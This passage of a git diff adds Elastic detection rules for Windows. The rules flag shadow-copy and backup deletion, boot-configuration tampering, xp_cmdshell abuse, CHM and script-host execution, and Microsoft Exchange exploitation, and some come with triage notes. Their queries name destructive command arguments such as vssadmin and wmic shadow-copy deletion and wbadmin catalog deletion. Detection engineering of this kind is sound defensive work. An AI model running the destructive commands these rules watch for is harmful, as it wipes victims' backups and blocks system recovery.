possibly to +evade detection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Process Execution via Renamed PsExec Executable" +risk_score = 47 +rule_id = "e2f9fdf5-8076-45ad-9427-41e0e03dc9c2" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started", "info") and + process.pe.original_file_name : "psexesvc.exe" and not process.name : "PSEXESVC.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1569" +name = "System Services" +reference = "https://attack.mitre.org/techniques/T1569/" +[[rule.threat.technique.subtechnique]] +id = "T1569.002" +name = "Service Execution" +reference = "https://attack.mitre.org/techniques/T1569/002/" + + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/execution_suspicious_short_program_name.toml b/rules/windows/execution_suspicious_short_program_name.toml new file mode 100644 index 000000000..c00e0d5fa --- /dev/null +++ b/rules/windows/execution_suspicious_short_program_name.toml @@ -0,0 +1,28 @@ +[metadata] +creation_date = "2020/11/15" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies process execution with a single character process name. This is often done by adversaries while staging or +executing temporary utilities. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Execution - Short Program Name" +risk_score = 47 +rule_id = "17c7f6a5-5bc9-4e1f-92bf-13632d24384d" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and length(process.name) > 0 and + length(process.name) == 5 and host.os.name == "Windows" and length(process.pe.original_file_name) > 5 +''' + diff --git a/rules/windows/execution_via_compiled_html_file.toml b/rules/windows/execution_via_compiled_html_file.toml new file mode 100644 index 000000000..109e73d81 --- /dev/null +++ b/rules/windows/execution_via_compiled_html_file.toml @@ -0,0 +1,75 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. Adversaries may conceal +malicious code in a CHM file and deliver it to a victim for execution. CHM content is loaded by the HTML Help executable +program (hh.exe). +""" +false_positives = [ + """ + The HTML Help executable program (hh.exe) runs whenever a user clicks a compiled help (.chm) file or menu item that + opens the help file inside the Help Viewer. This is not always malicious, but adversaries may abuse this technology + to conceal malicious code. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Process Activity via Compiled HTML File" +risk_score = 47 +rule_id = "e3343ab9-4245-4715-b344-e11c56b0a47f" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "hh.exe" and + process.name : ("mshta.exe", "cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "cscript.exe", "wscript.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1204" +name = "User Execution" +reference = "https://attack.mitre.org/techniques/T1204/" + + [[rule.threat.technique.subtechnique]] + id = "T1204.002" + name = "Malicious File" + reference = "https://attack.mitre.org/techniques/T1204/002/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1218" +name = "Signed Binary Proxy Execution" +reference = "https://attack.mitre.org/techniques/T1218/" + + [[rule.threat.technique.subtechnique]] + id = "T1218.001" + name = "Compiled HTML File" + reference = "https://attack.mitre.org/techniques/T1218/001/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/execution_via_hidden_shell_conhost.toml b/rules/windows/execution_via_hidden_shell_conhost.toml new file mode 100644 index 000000000..6f1c295e2 --- /dev/null +++ b/rules/windows/execution_via_hidden_shell_conhost.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/08/17" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be +indicative of code injection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Conhost Spawned By Suspicious Parent Process" +references = [ + "https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html", +] +risk_score = 73 +rule_id = "05b358de-aa6d-4f6c-89e6-78f74018b43b" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "conhost.exe" and + process.parent.name : ("svchost.exe", "lsass.exe", "services.exe", "smss.exe", "winlogon.exe", "explorer.exe", + "dllhost.exe", "rundll32.exe", "regsvr32.exe", "userinit.exe", "wininit.exe", "spoolsv.exe", + "wermgr.exe", "csrss.exe", "ctfmon.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +reference = "https://attack.mitre.org/techniques/T1059/" +name = "Command and Scripting Interpreter" + + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" diff --git a/rules/windows/execution_via_xp_cmdshell_mssql_stored_procedure.toml b/rules/windows/execution_via_xp_cmdshell_mssql_stored_procedure.toml new file mode 100644 index 000000000..197169c6b --- /dev/null +++ b/rules/windows/execution_via_xp_cmdshell_mssql_stored_procedure.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/08/14" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by +using xp_cmdshell, which is disabled by default, thus, it's important to review the context of it's use. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Execution via MSSQL xp_cmdshell Stored Procedure" +risk_score = 73 +rule_id = "4ed493fc-d637-4a36-80ff-ac84937e5461" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Execution"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : "cmd.exe" and process.parent.name : "sqlservr.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1059" +reference = "https://attack.mitre.org/techniques/T1059/" +name = "Command and Scripting Interpreter" + + +[rule.threat.tactic] +id = "TA0002" +reference = "https://attack.mitre.org/tactics/TA0002/" +name = "Execution" + diff --git a/rules/windows/impact_backup_file_deletion.toml b/rules/windows/impact_backup_file_deletion.toml new file mode 100644 index 000000000..184e26ac2 --- /dev/null +++ b/rules/windows/impact_backup_file_deletion.toml @@ -0,0 +1,95 @@ +[metadata] +creation_date = "2021/10/01" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of backup files, saved using third-party software, by a process outside of the backup suite. +Adversaries may delete Backup files to ensure that recovery from a ransomware attack is less likely. +""" +false_positives = [ + "Certain utilities that delete files for disk cleanup or Administrators manually removing backup files.", +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Third-party Backup Files Deleted via Unexpected Process" +note = """## Triage and analysis + +### Investigating Third-party Backup Files Deleted via Unexpected Process + +Backups are a significant obstacle for any ransomware operation. They allow the victim to resume business by performing +data recovery, making them a valuable target. + +Attackers can delete backups from the host and gain access to backup servers to remove centralized backups for the +environment, ensuring that victims have no alternatives to paying the ransom. + +This rule identifies file deletions performed by a process that does not belong to the backup suite and aims to delete +Veritas or Veeam backups. + +#### Possible investigation steps + +- Identify the process (location, name, etc.) and the user that performed this operation. +- Check whether the account is authorized to perform this operation. +- Confirm whether the account owner is aware of the operation. +- Investigate other alerts associated with the user during the past 48 hours. + +### False positive analysis + +- This rule can be triggered by the manual removal of backup files and by removal using other third-party tools that are +not from the backup suite. Exceptions can be added for specific accounts and executables, preferably tied together. + +### Related rules + +- Deleting Backup Catalogs with Wbadmin - 581add16-df76-42bb-af8e-c979bfb39a59 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 + +### Response and remediation + +- Initiate the incident response process based on the outcome of the triage. +- Reset the password of the involved accounts. +- Perform data recovery locally or restore the backups from replicated copies (Cloud, other servers, etc.). +""" +references = ["https://www.advintel.io/post/backup-removal-solutions-from-conti-ransomware-with-love"] +risk_score = 47 +rule_id = "11ea6bec-ebde-4d71-a8e9-784948f8e3e9" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Impact"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "deletion" and + ( + /* Veeam Related Backup Files */ + (file.extension : ("VBK", "VIB", "VBM") and + not process.executable : ("?:\\Windows\\Veeam\\Backup\\*", + "?:\\Program Files\\Veeam\\Backup and Replication\\*", + "?:\\Program Files (x86)\\Veeam\\Backup and Replication\\*")) or + + /* Veritas Backup Exec Related Backup File */ + (file.extension : "BKF" and + not process.executable : ("?:\\Program Files\\Veritas\\Backup Exec\\*", + "?:\\Program Files (x86)\\Veritas\\Backup Exec\\*")) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + + [[rule.threat.technique]] + id = "T1490" + name = "Inhibit System Recovery" + reference = "https://attack.mitre.org/techniques/T1490/" + + [rule.threat.tactic] + id = "TA0040" + name = "Impact" + reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/windows/impact_deleting_backup_catalogs_with_wbadmin.toml b/rules/windows/impact_deleting_backup_catalogs_with_wbadmin.toml new file mode 100644 index 000000000..938a153c8 --- /dev/null +++ b/rules/windows/impact_deleting_backup_catalogs_with_wbadmin.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the wbadmin.exe to delete the backup catalog. Ransomware and other malware may do this to prevent +system recovery. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Deleting Backup Catalogs with Wbadmin" +risk_score = 21 +rule_id = "581add16-df76-42bb-af8e-c979bfb39a59" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Impact"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "wbadmin.exe" or process.pe.original_file_name == "WBADMIN.EXE") and + process.args : "catalog" and process.args : "delete" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1490" +name = "Inhibit System Recovery" +reference = "https://attack.mitre.org/techniques/T1490/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/windows/impact_modification_of_boot_config.toml b/rules/windows/impact_modification_of_boot_config.toml new file mode 100644 index 000000000..e4184142c --- /dev/null +++ b/rules/windows/impact_modification_of_boot_config.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/03/16" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of bcdedit.exe to delete boot configuration data. This tactic is sometimes used as by malware or an +attacker as a destructive technique. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Modification of Boot Configuration" +risk_score = 21 +rule_id = "69c251fb-a5d6-4035-b5ec-40438bd829ff" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Impact"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "bcdedit.exe" or process.pe.original_file_name == "bcdedit.exe") and + (process.args : "/set" and process.args : "bootstatuspolicy" and process.args : "ignoreallfailures") or + (process.args : "no" and process.args : "recoveryenabled") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1490" +name = "Inhibit System Recovery" +reference = "https://attack.mitre.org/techniques/T1490/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/windows/impact_stop_process_service_threshold.toml b/rules/windows/impact_stop_process_service_threshold.toml new file mode 100644 index 000000000..7f3eeb55a --- /dev/null +++ b/rules/windows/impact_stop_process_service_threshold.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/12/03" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +This rule identifies a high number (10) of process terminations (stop, delete, or suspend) from the same host within a +short time period. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "High Number of Process and/or Service Terminations" +risk_score = 47 +rule_id = "035889c4-2686-4583-a7df-67f89c292f2c" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Impact"] +type = "threshold" + +query = ''' +event.category:process and event.type:start and process.name:(net.exe or sc.exe or taskkill.exe) and + process.args:(stop or pause or delete or "/PID" or "/IM" or "/T" or "/F" or "/t" or "/f" or "/im" or "/pid") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1489" +name = "Service Stop" +reference = "https://attack.mitre.org/techniques/T1489/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + +[rule.threshold] +field = ["host.id"] +value = 10 + diff --git a/rules/windows/impact_volume_shadow_copy_deletion_or_resized_via_vssadmin.toml b/rules/windows/impact_volume_shadow_copy_deletion_or_resized_via_vssadmin.toml new file mode 100644 index 000000000..fd5efb7da --- /dev/null +++ b/rules/windows/impact_volume_shadow_copy_deletion_or_resized_via_vssadmin.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2022/02/04" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of vssadmin.exe for shadow copy deletion or resizing on endpoints. This commonly occurs in tandem with +ransomware or other destructive attacks. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Volume Shadow Copy Deleted or Resized via VssAdmin" +risk_score = 73 +rule_id = "b5ea4bfe-a1b2-421f-9d47-22a75a6f2921" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Impact"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") + and (process.name : "vssadmin.exe" or process.pe.original_file_name == "VSSADMIN.EXE") and + process.args in ("delete", "resize") and process.args : "shadows*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1490/" +name = "Inhibit System Recovery" +id = "T1490" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0040/" +name = "Impact" +id = "TA0040" + diff --git a/rules/windows/impact_volume_shadow_copy_deletion_via_powershell.toml b/rules/windows/impact_volume_shadow_copy_deletion_via_powershell.toml new file mode 100644 index 000000000..57bcfe182 --- /dev/null +++ b/rules/windows/impact_volume_shadow_copy_deletion_via_powershell.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/07/19" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies the use of the Win32_ShadowCopy class and related cmdlets to achieve shadow copy deletion. This commonly occurs +in tandem with ransomware or other destructive attacks. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Volume Shadow Copy Deletion via PowerShell" +references = [ + "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/vsswmi/win32-shadowcopy", + "https://powershell.one/wmi/root/cimv2/win32_shadowcopy", + "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", +] +risk_score = 73 +rule_id = "d99a037b-c8e2-47a5-97b9-170d076827c4" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Impact"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + process.args : ("*Get-WmiObject*", "*gwmi*", "*Get-CimInstance*", "*gcim*") and + process.args : ("*Win32_ShadowCopy*") and + process.args : ("*.Delete()*", "*Remove-WmiObject*", "*rwmi*", "*Remove-CimInstance*", "*rcim*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1490" +reference = "https://attack.mitre.org/techniques/T1490/" +name = "Inhibit System Recovery" + + + +[rule.threat.tactic] +id = "TA0040" +reference = "https://attack.mitre.org/tactics/TA0040/" +name = "Impact" + diff --git a/rules/windows/impact_volume_shadow_copy_deletion_via_wmic.toml b/rules/windows/impact_volume_shadow_copy_deletion_via_wmic.toml new file mode 100644 index 000000000..d8eb0e4d5 --- /dev/null +++ b/rules/windows/impact_volume_shadow_copy_deletion_via_wmic.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of wmic.exe for shadow copy deletion on endpoints. This commonly occurs in tandem with ransomware or +other destructive attacks. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Volume Shadow Copy Deletion via WMIC" +risk_score = 73 +rule_id = "dc9c1f74-dac3-48e3-b47f-eb79db358f57" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Impact"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "WMIC.exe" or process.pe.original_file_name == "wmic.exe") and + process.args : "delete" and process.args : "shadowcopy" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1490" +name = "Inhibit System Recovery" +reference = "https://attack.mitre.org/techniques/T1490/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/windows/initial_access_script_executing_powershell.toml b/rules/windows/initial_access_script_executing_powershell.toml new file mode 100644 index 000000000..91372a7e4 --- /dev/null +++ b/rules/windows/initial_access_script_executing_powershell.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies a PowerShell process launched by either cscript.exe or wscript.exe. Observing Windows scripting processes +executing a PowerShell script, may be indicative of malicious activity. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Windows Script Executing PowerShell" +risk_score = 21 +rule_id = "f545ff26-3c94-4fd0-bd33-3c7f95a3a0fc" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : ("cscript.exe", "wscript.exe") and process.name : "powershell.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +reference = "https://attack.mitre.org/techniques/T1566/" +name = "Phishing" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +reference = "https://attack.mitre.org/techniques/T1566/001/" +name = "Spearphishing Attachment" + + + +[rule.threat.tactic] +id = "TA0001" +reference = "https://attack.mitre.org/tactics/TA0001/" +name = "Initial Access" + diff --git a/rules/windows/initial_access_scripts_process_started_via_wmi.toml b/rules/windows/initial_access_scripts_process_started_via_wmi.toml new file mode 100644 index 000000000..70ba707d0 --- /dev/null +++ b/rules/windows/initial_access_scripts_process_started_via_wmi.toml @@ -0,0 +1,71 @@ +[metadata] +creation_date = "2020/11/27" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the built-in Windows script interpreters (cscript.exe or wscript.exe) being used to execute a process +via Windows Management Instrumentation (WMI). This may be indicative of malicious activity. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Windows Script Interpreter Executing Process via WMI" +risk_score = 47 +rule_id = "b64b183e-1a76-422d-9179-7b389513e74d" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +type = "eql" + +query = ''' +sequence by host.id with maxspan = 5s + [library where dll.name : "wmiutils.dll" and process.name : ("wscript.exe", "cscript.exe")] + [process where event.type in ("start", "process_started") and + process.parent.name : "wmiprvse.exe" and + user.domain != "NT AUTHORITY" and + (process.pe.original_file_name : + ( + "cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "Cmd.Exe", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "MSBuild.exe", + "InstallUtil.exe", + "RegAsm.exe", + "RegSvcs.exe", + "msxsl.exe", + "CONTROL.EXE", + "EXPLORER.EXE", + "Microsoft.Workflow.Compiler.exe", + "msiexec.exe" + ) or + process.executable : ("C:\\Users\\*.exe", "C:\\ProgramData\\*.exe") + ) + ] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1566" +name = "Phishing" +reference = "https://attack.mitre.org/techniques/T1566/" +[[rule.threat.technique.subtechnique]] +id = "T1566.001" +name = "Spearphishing Attachment" +reference = "https://attack.mitre.org/techniques/T1566/001/" + + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/initial_access_suspicious_ms_exchange_files.toml b/rules/windows/initial_access_suspicious_ms_exchange_files.toml new file mode 100644 index 000000000..5447a9f6a --- /dev/null +++ b/rules/windows/initial_access_suspicious_ms_exchange_files.toml @@ -0,0 +1,77 @@ +[metadata] +creation_date = "2021/03/04" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies suspicious files being written by the Microsoft Exchange Server Unified Messaging (UM) service. This activity +has been observed exploiting CVE-2021-26858. +""" +false_positives = [ + """ + Files generated during installation will generate a lot of noise, so the rule should only be enabled after the fact. + """, + """ + This rule was tuned using the following baseline: + https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/Baselines/baseline_15.2.792.5.csv from + Microsoft. Depending on version, consult https://github.com/microsoft/CSS-Exchange/tree/main/Security/Baselines to + help determine normalcy. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Exchange Server UM Writing Suspicious Files" +note = """## Triage and analysis + +Positive hits can be checked against the established Microsoft [baselines](https://github.com/microsoft/CSS-Exchange/tree/main/Security/Baselines). + +Microsoft highly recommends that the best course of action is patching, but this may not protect already compromised systems +from existing intrusions. Other tools for detecting and mitigating can be found within their Exchange support +[repository](https://github.com/microsoft/CSS-Exchange/tree/main/Security) +""" +references = [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers", + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities", +] +risk_score = 47 +rule_id = "6cd1779c-560f-4b68-a8f1-11009b27fe63" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "creation" and + process.name : ("UMWorkerProcess.exe", "umservice.exe") and + file.extension : ("php", "jsp", "js", "aspx", "asmx", "asax", "cfm", "shtml") and + ( + file.path : "?:\\inetpub\\wwwroot\\aspnet_client\\*" or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\*" and + not (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\version\\*" or + file.name : ("errorFE.aspx", "expiredpassword.aspx", "frowny.aspx", "GetIdToken.htm", "logoff.aspx", + "logon.aspx", "OutlookCN.aspx", "RedirSuiteServiceProxy.aspx", "signout.aspx"))) or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\ecp\\auth\\*" and + not file.name : "TimeoutLogoff.aspx") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/initial_access_suspicious_ms_exchange_process.toml b/rules/windows/initial_access_suspicious_ms_exchange_process.toml new file mode 100644 index 000000000..84972f34c --- /dev/null +++ b/rules/windows/initial_access_suspicious_ms_exchange_process.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/03/04" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies suspicious processes being spawned by the Microsoft Exchange Server Unified Messaging (UM) service. This +activity has been observed exploiting CVE-2021-26857. +""" +false_positives = [ + """ + Legitimate processes may be spawned from the Microsoft Exchange Server Unified Messaging (UM) service. If known + processes are causing false positives, they can be exempted from the rule. + """, +] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Exchange Server UM Spawning Suspicious Processes" +references = [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers", + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities", +] +risk_score = 47 +rule_id = "483c4daf-b0c6-49e0-adf3-0bfa93231d6b" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.parent.name : ("UMService.exe", "UMWorkerProcess.exe") and + not process.name : ("werfault.exe", "wermgr.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/initial_access_suspicious_ms_exchange_worker_child_process.toml b/rules/windows/initial_access_suspicious_ms_exchange_worker_child_process.toml new file mode 100644 index 000000000..bba6c3e6a --- /dev/null +++ b/rules/windows/initial_access_suspicious_ms_exchange_worker_child_process.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2021/03/08" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious processes being spawned by the Microsoft Exchange Server worker process (w3wp). This activity may +indicate exploitation activity or access to an existing web shell backdoor. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Microsoft Exchange Worker Spawning Suspicious Processes" +references = [ + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers", + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities", + "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289", +] +risk_score = 73 +rule_id = "f81ee52c-297e-46d9-9205-07e66931df26" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Initial Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.parent.name : "w3wp.exe" and process.parent.args : "MSExchange*AppPool" and + (process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") or + process.pe.original_file_name in ("cmd.exe", "powershell.exe", "pwsh.dll", "powershell_ise.exe")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" + diff --git a/rules/windows/initial_access_suspicious_ms_office_child_process.toml b/rules/windows/initial_access_suspicious_ms_office_child_process.toml new file mode 100644 index 000000000..840b1982d --- /dev/null +++ b/rules/windows/initial_access_suspicious_ms_office_child_process.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = 